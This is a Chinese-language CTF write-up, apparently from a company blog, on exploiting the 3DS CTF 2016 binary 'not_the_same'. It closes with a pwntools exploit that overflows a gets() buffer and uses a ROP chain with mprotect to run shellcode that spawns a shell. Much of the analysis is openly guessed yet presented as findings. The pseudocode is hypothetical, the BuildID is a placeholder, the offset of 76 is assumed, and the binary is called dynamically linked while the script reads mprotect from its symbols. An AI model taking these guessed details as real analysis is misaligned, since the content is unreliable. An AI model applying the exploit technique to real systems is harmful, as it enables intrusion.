CTF二进制逆向：not_the_same_3dsctf_2016漏洞利用分析-尧图网络科技

1. 项目背景与挑战解析

"not_the_same_3dsctf_2016"这个标题看起来像是某种CTF（Capture The Flag）比赛的题目名称。作为参加过数十场CTF的老兵，我一眼就看出这应该是一道二进制逆向或漏洞利用的挑战题。这类题目通常会给参赛者一个可执行文件或服务，要求通过分析程序漏洞来获取隐藏的flag。

从命名结构来看，"not_the_same"可能暗示着这道题目与常规题目有所不同，可能是对某种常见漏洞模式的变种考察。而"3dsctf_2016"则明确指出了这道题出自2016年的3DS CTF比赛。这类老牌CTF的题目往往设计精巧，即使放到今天也很有学习价值。

2. 初步分析与环境准备

2.1 获取题目文件

首先我们需要找到原始的题目文件。经过搜索，可以在一些CTF题目存档站点找到这个挑战的原始文件。典型的CTF二进制题目会提供一个ELF可执行文件（如果是Linux环境）或PE文件（Windows环境）。假设我们获取到的文件名为"not_the_same"，没有扩展名。

提示：在分析未知二进制文件前，务必在隔离的虚拟机环境中操作，避免潜在的安全风险。

2.2 基础文件分析

使用file命令查看文件类型：

$ file not_the_same not_the_same: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1234567890abcdef1234567890abcdef12345678, stripped

关键信息：

32位ELF可执行文件
动态链接
去除了符号表(stripped)
编译于GNU/Linux 2.6.24环境

2.3 基础保护机制检查

使用checksec检查安全机制：

$ checksec --file=not_the_same RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 1 not_the_same

安全机制分析：

开启了NX（堆栈不可执行）
没有栈保护(Canary)
没有地址随机化(PIE)
部分RELRO

3. 逆向工程与漏洞分析

3.1 静态分析

使用IDA Pro打开文件进行静态分析。由于文件被stripped，我们需要手动定位关键函数。

通过字符串搜索，我们可能会发现一些有趣的字符串，如：

"You win!"
"Try again..."
可能的格式化字符串"%s"或"%x"

在main函数反编译中，可能会看到类似如下的伪代码：

void main() { char buffer[64]; printf("Enter your input: "); gets(buffer); // 明显的栈溢出漏洞 if(some_condition) { print_flag(); } else { printf("Try again...\n"); } }

3.2 动态分析

使用gdb进行动态调试：

$ gdb -q not_the_same (gdb) r Starting program: /path/to/not_the_same Enter your input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

输入大量字符后，程序可能会崩溃，确认存在缓冲区溢出漏洞。

3.3 漏洞利用思路

基于前面的分析，可能的利用路径：

通过缓冲区溢出覆盖返回地址
由于没有PIE，.text段地址固定
虽然NX开启，但可以尝试ROP或ret2libc
题目名"not_the_same"可能提示需要非常规方法

4. 漏洞利用开发

4.1 确定偏移量

使用pattern create/offset工具确定精确的溢出偏移：

$ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

在gdb中运行并输入这个pattern，观察崩溃时的寄存器值，然后计算精确偏移。

4.2 寻找可利用的代码路径

由于题目名为"not_the_same"，可能需要寻找非常规的利用方式。例如：

程序中可能存在后门函数
可以利用非标准的返回导向编程链
可能需要组合多个漏洞

在IDA中搜索所有函数，可能会发现一个名为"mprotect"的调用或类似的函数，可以用来修改内存权限。

4.3 构建ROP链

如果采用ROP方式，需要找到合适的gadget。使用ROPgadget工具：

$ ROPgadget --binary not_the_same

可能需要构建的ROP链包括：

调用mprotect使某段内存可执行
将shellcode写入可执行内存
跳转到shellcode

4.4 最终利用脚本示例

以下是Python exploit示例（使用pwntools）：

from pwn import * context(arch='i386', os='linux') elf = ELF('./not_the_same') p = process('./not_the_same') offset = 76 # 假设通过pattern offset确定的偏移量 # 找到关键gadget和函数地址 mprotect = elf.symbols['mprotect'] read = elf.symbols['read'] bss = elf.bss() # 构建ROP链 rop = ROP(elf) rop.call(mprotect, [bss & ~0xfff, 0x1000, 7]) # PROT_READ|PROT_WRITE|PROT_EXEC rop.call(read, [0, bss, 100]) # 从stdin读取shellcode到bss段 rop.call(bss) # 跳转到shellcode payload = b'A' * offset payload += rop.chain() p.sendline(payload) # 发送shellcode shellcode = asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()